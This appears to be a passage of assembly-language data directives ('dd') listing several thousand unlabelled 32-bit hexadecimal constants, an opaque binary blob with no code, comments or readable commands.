dd 902154C8h, 0DD0067DBh, 77936CBEh, 66A889h, 0FD607405h
dd 0A94B28FEh, 0F94D6F00h, 0C68565B8h, 0B6E602F5h, 512372BDh
dd 0E05FFF80h, 0D04AA87h, 64664AAFh, 0CE083DC0h, 0F5C700FFh
dd 0DCC4C158h, 4BB0DBB0h, 0FD058900h, 0B6F64DF2h, 357FA3Bh
dd 0C9DD3709h, 10003CECh, 0FA7C85DBh, 97F8D7h, 0F05DF977h
dd 9DB3089Bh, 0D380E400h, 0AFF450FBh, 7C90162h, 0FCF60CD8h
dd 4512095h, 0EDAEF100h, 96CBBA74h, 0D1690033h, 35B7C0DFh
dd 540078FAh, 6B25D2F3h, 0E7EEA9h, 0FF4CC6BAh, 724EB3B7h
dd 7DC3E00h, 1302390Dh, 0B5C30074h, 0EED11D1Ah, 0C9001C4Bh
dd 57809531h, 480F7397h, 0AF079E63h, 0E0611A25h, 2E72AD8h
dd 8B007877h, 9F067CB0h, 1555C1Eh, 470A6B3Dh, 80FEEC46h
dd 0D2BB32D8h, 7F92615Bh, 162E0E17h, 3BE09901h, 6DC9FB30h
dd 8D87CA00h, 27B4952Fh, 1FC71CA3h, 5D9C803Dh, 104F5224h
dd 0C3E498C0h
dd 0A0686DBFh, 4671DCDCh, 96920079h, 0D7FBD917h, 0B89F1F8Fh
dd 51040EAh, 76F078E3h, 80F85200h, 829355B5h, 859817h
dd 0E2AD23B3h, 0C53C0CDDh, 0F152FE00h, 321529A5h, 0DA9820h
dd 0B504BADFh, 0AB19B1F8h, 5ECAFA00h, 2F3F199h, 3A37041h
dd 0F94AE583h, 76B01768h, 57FEB85h, 79906302h, 0E0592127h
dd 945045h, 7296E0B2h, 1F0A403h, 0B671A271h, 3A36A000h
dd 29D1877h, 323D4816h, 0C700B33Bh, 0AEA19E90h, 0F02D0AB8h
dd 615E99h, 73BABB9Dh, 4500CF0Dh, 0AB29FC1Dh, 0D1F057h
dd 0B766160Ch, 0BC4D85DCh, 581C911Eh, 5AE00440h, 163ADDEh
dd 0B6E2B483h, 806877B2h, 7C060DC0h, 0EED0A0h, 203CFE05h
dd 796BBFF5h, 3E3F0C00h, 0F9E07B99h, 6149002Eh, 2075F27Dh
dd 6D3AD7DBh, 21D842h, 0A0B73097h, 2E326Bh, 8946F433h
dd 0DCB3618Dh, 0F1B4E03h, 0B8FB12A4h, 12132202h, 1C9ACB14h
dd 8069C048h, 0A61DF4E7h, 41363000h, 0E40FAE10h, 54F00E21h
dd 367EE25h, 30DA60EDh, 3A00132Dh, 0E543E182h, 1FFCF3Eh
dd 0AF57D592h, 60D6AD6Bh, 8000F398h, 0DDFD50B1h, 15C3D26h
dd 3B7B9FD9h, 0E4CECF1Ch, 0B700DB24h, 18D7FD29h, 1C0CA425h
dd 0C7BA50C5h, 607ACD47h, 0D4C80236h, 3745AD00h, 0FA5A0407h
dd 802401DBh, 0ACE4753Ch, 7FB6FC9Ah, 21FCFF00h, 0B4CEDE1Ch
dd 0E36600AAh, 0B589D21Ah, 0AC00166Eh, 3EDC627Ch, 0E08C68A6h
dd 0BD7E008Ah, 7B564288h, 0FC4878EAh, 0EDCE00A4h, 0F90DA101h
dd 65B0D4h, 78D60824h, 2FE28B41h, 4D357B0Eh, 519E2047h
dd 392333h, 93A3B345h, 0C227F6C0h, 1A824800h, 25C515A1h
dd 7021303Fh, 4F9F761h, 0D80AA402h, 4015A58Eh, 0C8B5BF4h
dd 6DA6F3F5h, 396F5110h, 1350F30h, 1C3FA4ACh, 3D8329E0h
dd 1B874D3Dh, 20B7A82Dh, 4006756Eh, 0A7AD6210h, 45DF9F00h
dd 8D225F77h, 37A9F1A0h, 92E15403h, 5073C66Ch, 38FF6420h
dd 5D89252Bh, 90A240BBh, 0E67CC52Dh, 3AA41B3Ch, 620CFA8h
dd 0FDB9BE6h, 5EB55648h, 400A2DE0h, 0BF008B64h, 0E20557FEh
dd 609C0Ch, 4F2426EEh, 71309AC4h, 0E5792100h, 22948D77h
dd 0BEA800DAh, 546D8C60h, 1A7C6A96h, 998B1800h, 27ADC7Dh
dd 0CC5A3E87h, 1234A80Bh, 7E93AB00h, 210064E4h, 0CBD04869h
dd 0E8ECBDh, 0F8F1265Ah, 568F8375h, 3A0BB100h, 1C6734A9h
dd 9A3100F6h, 0ADB28E70h, 0AF0083ECh, 0BF7FE529h, 0B4C8BCh
dd 81B8E2C3h, 0B1F0CD25h, 26A81E00h, 4C7261FCh, 91DCA855h
dd 903C5038h, 0C1AE3074h, 10DBD7F0h, 46F29F00h, 214AF38Ch
dd 27E72CADh, 18741326h, 1107299Bh, 40457E88h, 2644DB4Bh
dd 33C544E8h, 0F92728A0h, 42AF29C8h, 1F24CA52h, 48DC3823h
dd 0CCA842A3h, 8147CB24h, 0C314E09Bh, 0E200BDDFh, 0BB8C5DB1h
dd 0EB8EFCh, 0BC45A204h, 0C527B98Ah, 0ACC87D00h, 0DE49A4A3h
dd 55650E18h, 0D4E0F447h, 3A7D17C2h, 9FF7900h, 8904324Fh
dd 48BD0FD3h, 0A587BBDFh, 0C01F2F46h, 0F19A95AAh, 7A00E455h
dd 0C2B5EFCCh, 45FD0Ah, 9E767C2Ah, 49CBE386h, 1E7C2B71h
dd 0D978D2F4h, 0E0C8AB00h, 514F8838h, 37F700A1h, 6B31941h
dd 0E90E78F2h, 602C1A04h, 1C20EF2Eh, 0A861E6A2h, 89DAD8h
dd 0FA8A4877h, 0B06C7CFDh, 60AE1D00h, 522D7819h, 2C30074Ah
dd 0E0EE518Ch, 25502927h, 55185B00h, 65E68E21h, 0ED091DE1h
dd 900F58FCh, 10010A51h, 21EBB3D7h, 0D8FFC31Fh, 0A5FC5Bh
dd 77A6DA4Ch, 4EC5E9FBh, 0F2ACA701h, 0A23749Bh, 0A3E4D4h
dd 15EF4AA1h, 0E64C9D2Dh, 8080603Ch, 347394D0h, 38F052B3h
dd 118003F7h, 352B0D21h, 2307A8C7h, 1F2C80B5h, 15AE3B40h
dd 7A5E2E58h, 2D20074h, 1080F754h, 12718400h, 0AE0873B7h
dd 5FEE68h, 8891DE69h, 40223843h, 0B18248h, 21A3C211h
dd 2ED4F6EBh, 1FB93B3Dh, 45818149h, 0F899658Eh, 26718751h
dd 0D17AB9FCh, 5677F100h, 9814C813h, 0B1702460h, 2490000Eh
dd 3A84BF7Ch, 0ECF54E00h, 60FB4745h, 0E4A175Bh, 6FE00E30h
dd 85863184h, 8A5F800Ch, 0CD1D7A4Bh, 4880CBB3h, 42E1DD4Ah
dd 261B00A6h, 32EB5B9h, 0DE0012D6h, 0C655E7FEh, 15089ECh
dd 0EAC8C9E0h, 0C8C7E127h, 0B3006219h, 0D63F315Bh, 0B7B633h
dd 0CF850A97h, 526EAE05h, 0E015FE00h, 0BE3AC0DAh, 5C890054h
dd 4BE80F17h, 9C0E30EBh, 0A3E34902h, 0F00652C2h, 7A1CE21Eh
dd 543807B4h, 9DD7226h, 0C5F1CD80h, 0ED000FDFh, 0A89230A9h
dd 17F5B1Eh, 0A2AE3CD5h, 0F0E948BEh, 347691D4h, 0BA172614h
dd 18007898h, 82C1B2C4h, 7CE4ACECh, 9890042h, 78DF84FFh
dd 4EFE981Bh, 6365162Ch, 0B3AD800Ah, 60F7A720h, 12169FF5h
dd 3307A67Bh, 0BE0710Fh, 3D54A5h, 148C423Fh, 94813095h
dd 0C7323C0Eh, 0D0FAE567h, 5D4DD280h, 311600A5h, 8890D6C9h
dd 0E5077B2Ah, 0B192BE1h, 8A29C430h, 0B0410084h, 21FE13AEh
dd 3D00D5A9h, 42E332F8h, 71ACDF4h, 0E9BD6C25h, 0FCE3FECh
dd 521C2300h, 0C4000551h, 80780102h, 4CF31h, 40795B42h
dd 7CFA0A41h, 6768A300h, 2A66CAFh, 0C6471CEEh, 91360BB8h
dd 0DA98BB00h, 0AE904DF4h, 30AF050Fh, 0FAE1017Dh, 80E08183h
dd 76410EC6h, 0E5675475h, 942100F9h, 0FA1D7ED4h, 8473BF2h
dd 0ABE0CFCEh, 7DC34h, 8F79E928h, 5F2D4C95h, 0D2A4B505h
dd 1420C8E1h, 50712259h, 7B3CCC9h, 0B83E690h, 0EE4400AAh
dd 0A071208h, 5E2EAFD7h, 36B8DB10h, 0B05F0F59h, 0C980A46Bh
dd 777CDED8h, 0CA0E1900h, 328FABF9h, 5230082h, 34C7C979h
dd 0E8FE12E2h, 7FA0A400h, 661F9D67h, 73F03F6h, 0FAC3205h
dd 0CABE561Dh, 0A2978A40h, 0E0A6644h, 192A5DF3h, 858DE040h
dd 1200B817h, 0F6079D28h, 3C5CDEh, 2D35B04Eh, 0B84961CAh
dd 11D37300h, 29A95EE5h, 0AED51FE4h, 68DF005Fh, 2FD9576Eh
dd 0A500EC75h, 9A34A07Bh, 65A6D2h, 0E2F14854h, 0C105196Dh
dd 73F3BC00h, 10FA7CC4h, 0A7242511h, 5607CA5Ch, 0D1A669BBh
dd 5CD302DCh, 3EF15055h, 0EA9C8440h, 35966D00h, 0CC2A5117h
dd 7B890F1Bh, 632FA8FFh, 3B858380h, 23005F45h, 6D131D8Dh
dd 1327C1CAh, 0F6FD20h, 11D72B40h, 7D02EFAFh, 72F629Bh
dd 0B5F84801h, 8366004Eh, 3A542209h, 0B0002771h, 438AFD69h
dd 26E88D4Fh, 0C4F88D3h, 9F1174BFh, 0D76BC400h, 53720286h
dd 0F36E0CB3h, 2521BB06h, 0E7052200h, 134FD208h, 0A1E60BCAh
dd 6E806631h, 0FF3A596Fh, 6932E300h, 0DB4AB141h, 0A478E7h
dd 0F5A31078h, 0E80B08AFh, 0D90BC00h, 7FB65A68h, 0C95D1DEFh
dd 0FE090431h, 6F1FC0DDh, 0E3DC3D2h, 0C202007Eh, 9690B15Dh
dd 30261F92h, 0C0169F79h, 0F737016Ch, 0F13C99B2h, 0FF7709D5h
dd 493C0038h, 4D80C64h, 0CCC5CEC7h, 0CBF4C0B4h, 0F60473EDh
dd 36FBCF03h, 1601E085h, 86F3937Fh, 0CE3C1084h, 0CFF4807Eh
dd 2CB044BAh, 6DB4681Dh, 0A0188898h, 0CD0818D0h, 0F127306Bh
dd 227EA61Ch, 0FF04503h, 1480D596h, 7DC27632h, 0BB5300BCh
dd 10468042h, 0AA07CE51h, 2D3C78Dh, 52E6A8D0h, 1571D35h
dd 0FC4207B4h, 0B0F1379Fh, 69C9FF23h, 63CC3005h, 0B4001A21h
dd 1DE0928Fh, 0F0BF008Ah, 0EDC6B358h, 0C400ACCAh, 0DFA42D55h
dd 11980DAh, 0FA3F6217h, 22308B29h, 86150088h, 0D8F0EB8h
dd 4ACD00B9h, 0FEE6B1AFh, 3417513Bh, 0CD009C73h, 5CD26C29h
dd 3DB890F5h, 0C9835990h
dd 0B3BA2DF6h, 0D543E3F8h, 123D1C13h, 4247300h, 7AA4FC54h
dd 91810310h, 0F9F6AB26h, 0F30E58C0h, 74E72400h, 61750CFDh
dd 3938010Fh, 0DB371FC0h, 0BEAEEC58h, 868AD507h, 62E78864h
dd 3E07006Bh, 18FA4EDEh, 0A0F1D20Fh, 3B003FC9h, 1E14E281h
dd 66DC3h, 0AD4AA5F9h, 13B985C7h, 0BE5CC41Eh, 0B05A528Ah
dd 0AE037109h, 61676028h, 7F0FF342h, 93DD0078h, 0BBAA9153h
dd 0E2265808h, 83402C50h, 5E8043h, 0C5F3C85Bh, 5F10348Ch
dd 829F115h, 805900B0h, 4DAADCC0h, 0AA80066h, 5A1A357Ah
dd 41009C92h, 0E45414B5h, 4C7F9A74h, 0B90C285Bh, 4A51FFC9h
dd 0A3673B00h, 0CD953F92h, 6C4D0011h, 0B9E98DF3h, 170989EEh
dd 1031DBF8h, 30D9CF0h, 6F2FF27h, 0C0F4A470h, 2B5150FCh
dd 0C4097B19h, 0C9E42310h, 2E39039Dh, 0F8D4129Eh, 0BFF774D8h
dd 0F1B47D12h, 98106800h, 3C5BBCh, 68E04901h, 3FD8A903h
dd 29197B0Fh, 2AB0A051h, 0B41B8Bh, 53A752E7h, 5A0FA0C5h
dd 0A6AA221Eh, 0FF104700h, 0F1466ADh, 0E6DE3612h, 7B756F00h
dd 0A900529Bh, 607CEF5Ah, 0F6180545h, 5676006Ch, 0D5AE92A8h
dd 0BC01DDD0h, 0A4852F4Dh, 0BDC855CDh, 92903F0Eh, 0DE66238Fh
dd 603B51E7h, 1318CC5Bh, 3E505401h, 8ABABD0Bh, 0C8FD7880h
dd 5D5CE668h, 0A657E00h, 6E5B34Ah, 76361D86h, 56B03EB4h
dd 8023FBD0h, 7BB5E100h, 94162F6Dh, 0F6870057h, 1D9A6021h
dd 4AF64751h, 0BF000CB8h, 0E444358Dh, 268EE51Ah, 54E32Dh
dd 0B2942F47h, 0D703CF17h, 4DE6625Ah, 38EE81AEh, 7013E0ECh
dd 7AF00C48h, 50F91F9Ah, 65859E00h, 6570CDDh, 0BA7952h
dd 5F6F04B9h, 86071D3Bh, 9F3F20Eh, 83EC808Ah, 7AA75Dh
dd 0D1827F01h, 2D645ADh, 80BE1E3Dh, 8535D9E8h, 602CF4D7h
dd 6C8E057h, 8D00B5B9h, 273220FFh, 2C74E42h, 2F682C60h
dd 8760E728h, 7903B2D3h, 0E1563D55h, 0A05C80Bh, 991303EBh
dd 78126717h, 0B30F1114h, 0E3B904A0h, 75808107h, 82EA4Ch
dd 3F4FCB21h, 739475A5h, 9C60600h, 3146A689h, 0D95E00FCh
dd 0CE076301h, 9D7123DCh, 19481400h, 0BE392CF8h, 0AF343BE1h
dd 0DC504F80h, 0BAB24C1Ch, 0ADD44800h, 8F3DA26Dh, 0F74E03C6h
dd 9E1BFA72h, 0C288E3ABh, 7500660Dh, 32BB862Fh, 68938Fh
dd 0F49ACBF5h, 4B5E3622h, 94A25604h, 40809EBFh, 7DA2BFCh
dd 64A07DC6h, 0E0007FA3h, 0CB2FB987h, 0C12F307h, 6F3025D1h
dd 0E9D6063h, 30A4C5D0h, 0F8F8C12Fh, 0E671673Dh, 37D6C0C3h
dd 0E43800CEh, 0A3D21B5Ah, 7218387Ch, 1F31D5E8h, 29B600FFh
dd 5517D810h, 0D203478Fh, 7C1D9CFCh, 0E800C567h, 725E8986h
dd 0C0E50331h, 0DF61D0D1h, 0C71D401Ch, 0F277C40h, 50A6EEB5h
dd 70B89Ah, 0EA0CF0DCh, 0B97F2628h, 833BD139h, 693533A8h
dd 401BC23Eh, 0D28708h, 0E6982412h, 0F5348B7Eh, 19FA781Fh
dd 572FFDC0h, 7D69Fh, 838E688Ah, 468CE382h, 0BB12F500h
dd 0CBFE5B3Ah, 0EA43009Ch, 9FBCDC47h, 8A000D9Eh, 0CF860C08h
dd 73290AA6h, 97DF0F20h, 0F2008007h, 0EE90B75Ch, 0AD62810Fh
dd 0EAE8E53Ch, 1C39C400h, 8AEBD7h, 335EA452h, 30F9CC8Eh
dd 4FDB4901h, 0A95CD9D8h, 0E45AE0h, 1A1FC65Eh, 8FAD78A2h
dd 0C897870Eh, 7C23A1ACh, 90300F9Ah, 1229172Bh, 40CD1F61h
dd 67EEE80h, 0A307CF20h, 33BFF8ACh, 26837F70h, 0FBC80BD9h
dd 68818562h, 0EC3E4FA5h, 4105539Ch, 0B3D65E72h, 7BD59C04h
dd 1E6720C0h, 0F53B0003h, 0A8B0DCC3h, 0BF13A5E4h, 880030FFh
dd 940FD196h, 7D750F20h, 0F6403411h, 86487ACDh, 9E1CAE00h
dd 0FC298ABFh, 0ED240017h, 19CC5E9Bh, 4048384Ah, 0C1C70000h
dd 4EEE859Ah, 0C849006Bh, 0A0841BBFh, 0E007038h, 0B7E8CB67h
dd 0C3833Ch, 4B769963h, 74D01FA7h, 39712B03h, 90A08DF0h
dd 110B6C1h, 0CB7EE8CFh, 2480AFACh, 1613B820h, 8C40A89Fh
dd 0E8BC2052h, 8F993A7Bh, 0AE378502h, 0FEC077A1h, 120E0AD4h
dd 8149170Fh, 9F454D93h, 0E286EF8h, 3C83792Bh, 580CC9E0h
dd 6601D26Ah, 0CE0ED3FBh, 1C3024E6h, 959E00AFh, 0B0EA4F3Dh
dd 80245DBEh, 223B7C47h, 60C74C1Ah, 26A15500h, 0A6EF777Bh
dd 7E3CD800h, 0C3EDE770h, 884724E9h, 89D981B4h, 257A6178h
dd 1244E9A0h, 0EF40F522h, 511D5A57h, 9C44CF0Ah, 94909840h
dd 3F9A9052h, 2203D27Dh, 1D9D4FEEh, 0EBE0CA88h, 9B55CE09h
dd 0E198001Ah, 4930F331h, 8400A045h, 0FCAA9025h, 0AE0075A7h
dd 20BF12CFh, 6708C1F7h, 0F06846E7h, 3E989A9Bh, 38441630h
dd 0AE4C52h, 0E4DEEBEAh, 6BF5D97Ch, 13882F00h, 0AB8B94F1h
dd 0B4F6070Ah, 0C2C01E74h, 0B1808526h, 0EE251790h, 0E9A6A100h
dd 6C0605AFh, 403B058Bh, 0C382768Eh, 3EF03694h, 5A13A673h
dd 0AF005419h, 92E16C14h, 0D5D439AFh, 9FA9B380h, 0D3F7C486h
dd 720B78E6h, 2784EDE5h, 4EB06224h, 4CB3C8h, 83A1DB74h
dd 220263CCh, 0B5EB6701h, 69F29111h, 0D9ACA0D6h, 2E9FBA3h
dd 0F400153h, 0A46075E0h, 3271589Ch, 0AE8FB700h, 0AC397B0Ah
dd 0F333241Eh, 0D996002Bh, 7ADF68C3h, 9D39500h, 304B5FC8h
dd 386D7003h, 9180277Fh, 58D6FFE5h, 44488C6Eh, 5CEF0930h
dd 90280008h, 3E02C468h, 98789845h, 22350F90h, 6E2D95Ah
dd 0FC60283Bh, 0AF8051A5h, 0AE0C8899h, 0ABFE1601h, 0FBCD9227h
dd 0A48020h, 0CA6E1D6Dh, 0E0E34E96h, 1869B424h, 1B184680h
dd 78CD1CBh, 782393F6h, 0BD842095h, 0A5001961h, 4C9BFF29h
dd 0C03A3C8Bh, 0D1D2CD21h, 2F013177h, 0B497B31Bh, 0BC602A38h
dd 519049h, 20AD1284h, 0E24A55AEh, 0A0003AE6h, 8B7509F1h
dd 4C8A04D4h, 5031D2Fh, 5CE23B3Eh, 63E40CF8h, 87412900h
dd 66B06F17h, 0BCB0189h, 97851E82h, 1CC6F8D5h, 22E3A400h
dd 99468FFCh, 0C2D015D4h, 0C50084B4h, 31AF3E58h, 0D5096896h
dd 85276Fh, 0C3EF8DA4h, 19B865h, 504E7D0Dh, 0D5638AD2h
dd 913B7179h, 0C9003FBh, 0A81453CDh, 26FC4BFEh, 1CBC3057h
dd 8EA37DBDh, 5193EB82h, 844CE841h, 96F4FF38h, 0DA32021Eh
dd 282DE879h, 0D9486CC4h, 31B30202h, 6003CF3Bh, 0E0868E50h
dd 8C620090h, 98808974h, 56027746h, 30E7EA57h, 0AC52E0F7h
dd 0D77A003Dh, 4E80B220h, 7800874Ah, 412D6105h, 137D6C0Ch
dd 0A2EF45h, 59A57E7Dh, 6A0228F8h, 0EE3C33CAh, 988C8053h
dd 5CFFA7C1h, 7E004CC9h, 3E8BCE4Fh, 0D30348A4h, 39DCCD4Ah
dd 2098837h, 526B00B9h, 4BB0E7Ah, 383BFDFBh, 7F5D804Dh
dd 8C101C7Ch, 0BE151F22h, 0F43DC0E6h, 70A92B80h, 5C346F26h
dd 36377B80h, 0B73948h, 2C1A6A2Ah, 0E276233h, 45F43A00h
dd 7EFE8FABh, 1175E5h, 5788F249h, 0BAD9BEE1h, 5E668100h
dd 85A9F346h, 0B7E4B4h, 0A31722CBh, 0EDC3A647h, 9034E0h
dd 0BC0CE172h, 10820AC2h, 5C0103D6h, 0FE0D2959h, 808DD8E1h
dd 3956FB19h, 1DBC34DFh, 145DE091h, 0FC01D996h, 255A64CEh
dd 5405F86Ah, 60C83960h, 14A2CD8Ah, 30C2262Dh, 0EE0C343Ch
dd 8D817B65h, 278CBC00h, 0C2765F86h, 78DB1C34h, 0C7883765h
dd 6226030Dh, 7F66317Ch, 20FF49h, 0BD36EDBBh, 0D480869Ah
dd 50F14E18h, 0B797890h, 465B395Ch, 2C58AD00h, 1509C7ACh
dd 80FB0ACFh, 0EFD4478Ch, 24B51C79h, 21B647A6h, 1C8623CAh
dd 0C82EFDA1h, 0BD00B1EBh, 8D37D175h, 3D14CB97h, 12807EA7h
dd 3AF10898h, 99078E9Ch
dd 0C4E1E8C3h, 7C1EE980h, 35450AD6h, 80EC5CE6h, 34A2BEC0h
dd 88A16E25h, 830FB2Dh, 96F921ACh, 5B4B00A2h, 0F880C57Eh
dd 0FC199F27h, 0A0505519h, 0E02807D7h, 20C3BA10h, 3A46CB17h
dd 0EB6041C7h, 40580941h, 31E51180h, 35BEC6BFh, 0C25CA20Ch
dd 0C1D70822h, 0BF290221h, 7ADCC428h, 436DB6C2h, 1124973Ah
dd 7C0683FBh, 5D3FE0A4h, 0D07B8Ah, 0B3775B3Dh, 0FBDE1811h
dd 51BB7601h, 4489575Fh, 9E80E082h, 0F0906DC9h, 9B0065B6h
dd 2115E0BEh, 74421939h, 217460BCh, 229BF925h, 0AF73A80Eh
dd 8E63CFF4h, 0A564A35Ch, 0A0009FCDh, 5A1568h, 231AF7BDh
dd 0E550EB9Fh, 0E68EFC00h, 0CA0457DDh, 0A02000CCh, 39387BB1h
dd 98077E4Fh, 76FF5FD9h, 2B8F0650h, 0E72C00A7h, 6F9A927Bh
dd 0D7A0DD10h, 3E001783h, 30E42EFBh, 404A68h, 0A1369001h
dd 4B731D57h, 556F2900h, 6093E098h, 165D00DBh, 0E328805Fh
dd 0D03FE94h, 7E4B96E8h, 55710054h, 2B0E42E5h, 6000051Ch
dd 0E785DB2Ch, 15B3393h, 6630A189h, 17A048BBh, 0FE6ED1C1h
dd 139C60F8h, 987310h, 1E7A07CDh, 300CABDh, 5025350Eh
dd 17966F9h, 0DF825214h, 0E0B89FD8h, 22FC8CD6h, 0F8E8E01Eh
dd 0C00A1E0Ch, 56390098h, 5EE12163h, 7101AF88h, 0BB674E01h
dd 808032DCh, 33FD4853h, 0AB14F3CFh, 58DB46Dh, 67D74F9Fh
dd 0C30C901Fh, 787195Eh, 0CBA8380Bh, 0E9BC072h, 39E8693Eh
dd 8049D428h, 57A1D0Ch, 6F5F8107h, 45800825h, 8316DA34h
dd 0A8000E90h, 0CC13AD03h, 0F29E88h, 0C85511D4h, 53304FD0h
dd 0BCBFAA00h, 6A136642h, 1980009Ah, 9DC12EE6h, 0C21F8AFDh
dd 0FBC08238h, 8F17FAD2h, 187ECA0h, 84C672ACh, 30119ADBh
dd 7F301BE6h, 0CA70289Dh, 90B800A1h, 17491CC8h, 0C50750D6h
dd 0D40647B4h, 88874BB3h, 18FB98FAh, 389CC721h, 0B600D048h
dd 8D76D11Ch, 0D4298Eh, 413BCB6Eh, 7118BC54h, 6AC92E10h
dd 3D20083Dh, 0BB810500h, 6EEF6DB5h, 79230175h, 71BEBA33h
dd 9EF5F063h, 0FB3B4212h, 0C8D74C06h, 4AA83B18h, 43450882h
dd 6B20A76Eh, 689149Bh, 25ECD8AEh, 0F900B002h, 0A8BA5316h
dd 128D92Ch, 1AD0C61Ch, 0F82EF1E2h, 0CD30C80Fh, 0B01598F7h
dd 7FC0077h, 0E2C96F96h, 0D5015F76h, 1C065B7Dh, 0E9D8EAC4h
dd 0A9FF60F2h, 2DF1D119h, 0D240F860h, 3C8205BDh, 0A12F6DD9h
dd 28004F43h, 0CC75DF13h, 1DF96B9Fh, 805FF37Ah, 0ACD16EFEh
dd 0BF395DB7h, 24390117h, 0B54831C3h, 4FA2D0h, 6CB1523h
dd 7A9A5AF2h, 0EB005878h, 38A59721h, 0DE2A6Ch, 17912F70h
dd 520E39C2h, 0B7587B00h, 5CEC9B0Fh, 790D716Ah, 44A80051h
dd 0FFC09686h, 0AE000619h, 7C99EC34h, 0F9FE0Ch, 2637019Eh
dd 2FEF4E4Bh, 0C480C060h, 510FAEh, 0E2ECA5D0h, 5E25F8CFh
dd 4C170E0Fh, 0AAB00052h, 5C080118h, 91386EEEh, 0C085D680h
dd 0C8CF56C3h, 503C9F00h, 0E294FE6Ch, 95F90019h, 632D097Ch
dd 2779B9C1h, 9FCE6D06h, 4229663Bh, 2FD01116h, 0E04D6B1Fh
dd 1A8967E8h, 0FA448408h, 51F4615Fh, 25E55E5h, 0FC27102Eh
dd 0C4F7E388h, 48C35229h, 2BC242F2h, 0CA211724h, 66798859h
dd 18688820h, 19141B94h, 6A515716h, 38C72980h, 0AEA14514h
dd 0B4105907h, 9921653Ch, 80D5F1A5h, 0E88EFE8h, 8AA1EE02h
dd 9036A827h, 3115F959h, 97B04300h, 0A54B6B3Fh, 46290F24h
dd 7A87CC5Dh, 0CA409010h, 5900F6FCh, 0ADAC9544h, 0B01948h
dd 1646E2E5h, 3284DB42h, 0F17F5928h, 0E90F18E4h, 0C0AEE660h
dd 278F0D0Ah, 531300D9h, 4DDC7AB8h, 621C0549h, 0BA40B1h
dd 23C32A5Eh, 902B702Eh, 896700BEh, 95187A69h, 720ED5CFh
dd 80606207h, 87E18BE4h, 4E7D9Dh, 634B9144h, 367F66ACh
dd 324A5E07h, 0D6809BA7h, 0C0CE3E2h, 8A5C732Ch, 0E500E080h
dd 49EC3676h, 6ADF23Ch, 17C85497h, 1000E9D0h, 0AEFB7CFEh
dd 21C6CFh, 63F47DB9h, 379C0E5Bh, 3600DE70h, 3D8270D6h
dd 652092h, 74A09811h, 0E2D442E0h, 41367E07h, 4E40CCDAh
dd 0B825C4D7h, 50E00FAh, 1A5D2B3Ch, 1118B207h, 2210866Dh
dd 0AFE07C1h, 0A06A012Ah, 0BBFDF41Bh, 0DFCA750Fh, 62C03CF0h
dd 31A5ADABh, 87973095h, 73FCCC38h, 5F007A70h, 2A4090FAh
dd 195DE5Ah, 0CAB1C96Dh, 8A8B2051h, 8C197878h, 81C5DC00h
dd 7E59C454h, 0A0D2001Ch, 0FFB7288Ch, 0DD003A1Eh, 0C89E14B3h
dd 0EECD98h, 45BB5DE9h, 4C5B771Fh, 36918501h, 8F2B2789h
dd 6B42F8h, 1E8E2081h, 7C47565h, 14642D0Ah, 760FE0A3h
dd 507F40F5h, 5CA5Eh, 2E15CCE4h, 92214EC0h, 1FC23000h
dd 0F299E2F4h, 0D89A0038h, 692EE1C6h, 0D3077C26h, 7B51A7E3h
dd 61797512h, 50206003h, 9F7FCAh, 0C42FDD40h, 923742F3h
dd 34FB4402h, 44DB0610h, 0F4ED001Ch, 2C39525Dh, 5E760C54h
dd 0C7240890h, 58007828h, 0E6DA4217h, 7F870003h, 7BF08BF8h
dd 0E200096Ah, 5C8F3FEEh, 3AD614h, 54E34EEAh, 0E6CE3E0Fh
dd 0AC13A628h, 7CCC4502h, 4048F139h, 4005F360h, 86243717h
dd 15007190h, 0C89A4ECEh, 0E8265043h, 6E75079Dh, 9095B253h
dd 8BF99EEDh, 20B1DF00h, 0B74869E1h, 3950787Eh, 0D01ED3A0h
dd 0A88980C7h, 4C145FE2h, 7DC1EF17h, 0CB8409AAh, 37075174h
dd 666339F8h, 5FFAE812h, 8B9E0405h, 80541689h, 9A8CF5C6h
dd 41CA8400h, 0F96503B3h, 6D5A00F3h, 5C76620Bh, 0AF0B17CDh
dd 80559843h, 0D7C2E483h, 594D0275h, 0A7CF3799h, 0F1971240h
dd 3DCEBD03h, 0A89F1395h, 319139h, 0F4628876h, 84112CB4h
dd 8903C600h, 6122C555h, 95D91C9Ch, 2641C040h, 0F2FF052Dh
dd 0AE001075h, 5F8D2CA2h, 0C17E22h, 2721C98Ch, 931E5390h
dd 0E3F80A07h, 1C500DB7h, 723DD03h, 9A546847h, 56EA01E0h
dd 0EB97DC5Ch, 0AFC7A500h, 86696FA2h, 0B63F0521h, 808A345Bh
dd 0EEE7F468h, 4501777Eh, 8C7C3946h, 370D35Ch, 2B79007Ah
dd 0F4E1617h, 0C0F330FDh, 6D00A883h, 4185BBA5h, 0DCF76Bh
dd 0E85BE350h, 43C28BC7h, 0D514D100h, 99D7B3Eh, 65281C49h
dd 0FC85807Dh, 8BE31F88h, 7F350F00h, 8AA3E7D9h, 57CC0FCBh
dd 3442F63h, 4019C0EFh, 0F10068BDh, 0E08E25Ah, 0FDC16Ah
dd 0E07DBE9Fh, 0BD5FBF31h, 0A7923E1Ch, 67406B1Eh, 0B950D245h
dd 659D00D4h, 98641458h, 560027ABh, 6EDF5EDCh, 9F8597h
dd 1D78AE1Ah, 8FD9F5E3h, 4A6AC700h, 0E6FDBFCBh, 62AF007Ch
dd 91A4B105h, 9C004D19h, 8EDC07C1h, 81B4C3h, 8A6F7B22h
dd 0F5DA934Fh, 0BC1FE303h, 985B808Ch, 4D837h, 2F959BE6h
dd 0F1DFA060h, 5CB68800h, 0BD2CC0A1h, 0CB4D01CCh, 0FEC833AEh
dd 0E0E4F4BCh, 96533002h, 403EE6AFh, 6B5470h, 0B7A1118Fh
dd 0A8B0F545h, 6459FE00h, 0CF4986B4h, 0AE070016h, 0F9BCFC36h
dd 4703E7E3h, 23F48FD6h, 2198C922h, 1CECD5E4h, 0C0A33E72h
dd 6859194Ah, 56009A28h, 0B84F558Fh, 3836C7EEh, 0E75C6FB7h
dd 19C3EB0Eh, 0AF482000h, 973EEDC8h, 0B24603A0h, 7EA5F43h
dd 7A3DFC10h, 5DF306Dh, 7700B9D1h, 51591BD9h, 0B6BE22h
dd 52EF83C8h, 0DB613116h, 27995E00h, 9B185B5h, 9D9714D4h
dd 2B14801Ch, 8D0188A6h, 241A55F6h, 0ED3EC0D2h, 95389673h
dd 0B5E70044h, 0E3DE9CE4h, 0A1E200C9h, 8712CF7Ah, 0DA7E8238h
dd 66002F7Ah, 0BE44F5E5h, 184DFF2h, 7B71364h, 8011E6DBh
dd 9946FF21h, 18D5D75Ch
